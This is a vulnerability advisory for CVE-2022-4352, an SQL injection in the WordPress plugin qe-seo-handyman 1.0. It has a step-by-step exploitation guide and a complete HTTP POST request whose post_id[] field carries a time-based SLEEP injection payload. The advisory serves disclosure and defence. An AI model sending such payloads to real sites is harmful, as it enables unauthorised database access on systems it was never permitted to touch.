qe-seo-handyman 1.0 (2/2) WordPress plugin SQL injection

Vulnerability Metadata


Key Value
Date of Disclosure December 08 2022
Affected Software qe-seo-handyman
Affected Software Type WordPress plugin
Version 1.0
Weakness SQL Injection
CWE ID CWE-89
CVE ID CVE-2022-4352
CVSS 3.x Base Score n/a
CVSS 2.0 Base Score n/a
Reporter Daniel Krohmer, Kunal Sharma
Reporter Contact daniel.krohmer@iese.fraunhofer.de
Link to Affected Software https://wordpress.org/plugins/qe-seo-handyman
Link to Vulnerability DB https://nvd.nist.gov/vuln/detail/CVE-2022-4352

Vulnerability Description


The import_meta action in qe-seo-handyman 1.0 is vulnerable to SQL injection. An authenticated attacker may abuse the CSV file upload functionality to craft a malicious POST request.

Exploitation Guide


Login as admin user. This attack requires at least admin privileges.

qe-seo-handyman_1-0_2_step-0.PNG

The plugin requires all-in-one-seo-pack to be activated.

qe-seo-handyman_1-0_2_step-1.PNG

Head to Qe SEO handy-man.

qe-seo-handyman_1-0_2_step-2.PNG

Click on the link at Step 3 to import a CSV file:

qe-seo-handyman_1-0_2_step-3.PNG

Click on Browse... and select a valid CSV file.

qe-seo-handyman_1-0_2_step-4.PNG

A sample CSV file may look like the following:

post_id,url,post_title,wpseo_title,wpseo_metadesc,type,term_taxonomy_id
5,http://localhost/?taxonomy=bp-email-type&term=activity-at-message,activity-at-message,test,test,bp-email-type,5

Then, click Submit:

qe-seo-handyman_1-0_2_step-5.PNG

After uploading, hit Continue.

qe-seo-handyman_1-0_2_step-6.PNG

Clicking the previous button triggers the vulnerable request. The post_id[] array is the vulnerable parameter:

qe-seo-handyman_1-0_2_step-7.PNG

A request may look like the following:

qe-seo-handyman_1-0_2_step-8.PNG

In the code, the vulnerable $post_id variable is written at line 90 in ./inc/QE-Seo-handyman-import-csv.php.

qe-seo-handyman_1-0_2_step-9.PNG

The final database query is executed at line 128 of the same file.

qe-seo-handyman_1-0_2_step-10.PNG

Exploit Payload


Please note that cookies and nonces need to be changed according to your user settings, otherwise the exploit will not work.

The SQL injection can be triggered by sending the request below.

POST /wp-admin/admin-post.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/wp-admin/admin.php?page=qe-seo-handyman&tab=import
Content-Type: multipart/form-data; boundary=---------------------------8468852133354988763032646215
Content-Length: 1377
Origin: http://localhost
Connection: close
Cookie: wordpress_86a9106ae65537651a8e456835b316ab=admin%7C1666354651%7C5hcpdLYnfCYlULiNoxvsLbX15Xk3355i128JO4Rpaec%7C9052465964755f7df388ca7ded12dea9ba2a5fbb3515169d1c4e2f2792cafad2; wp_woocommerce_session_86a9106ae65537651a8e456835b316ab=1%7C%7C1666351832%7C%7C1666348232%7C%7Cc2cb50590cfa7e94229c1621767b0523; wp-settings-1=editor%3Dtinymce%26ampamphidetb%3D1%26ampampmfold%3Do%26mfold%3Do; wp-settings-time-1=1666181852; XDEBUG_SESSION=netbeans-xdebug; wordpress_test_cookie=WP%20Cookie%20check; tk_ai=woo%3AxIFtmbzi40NKIXvwVmH3Vwly; woocommerce_items_in_cart=1; woocommerce_cart_hash=0ed611221b3d80f0fa539cbbda99650c; wp_lang=en_US; wordpress_logged_in_86a9106ae65537651a8e456835b316ab=admin%7C1666354651%7C5hcpdLYnfCYlULiNoxvsLbX15Xk3355i128JO4Rpaec%7Cc6b068ebe7c94a69ba9c603924cf21ddd8463427f2fea34e380736f338a7a6d5
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="action"

import_meta
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="nonce"

62bfc7851f
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="wpseo_title[]"

test
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="wpseo_desc[]"

test
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="term_id[]"

5
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="permalink[]"

http://localhost/?taxonomy=bp-email-type&term=activity-at-message
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="taxonomy[]"

bp-email-type
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="wpseo_focuskw[]"

activity-at-message
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="post_id[]"

5 AND (SELECT 3477 FROM (SELECT(SLEEP(5)))DhVP)
-----------------------------8468852133354988763032646215
Content-Disposition: form-data; name="submit"

Submit
-----------------------------8468852133354988763032646215--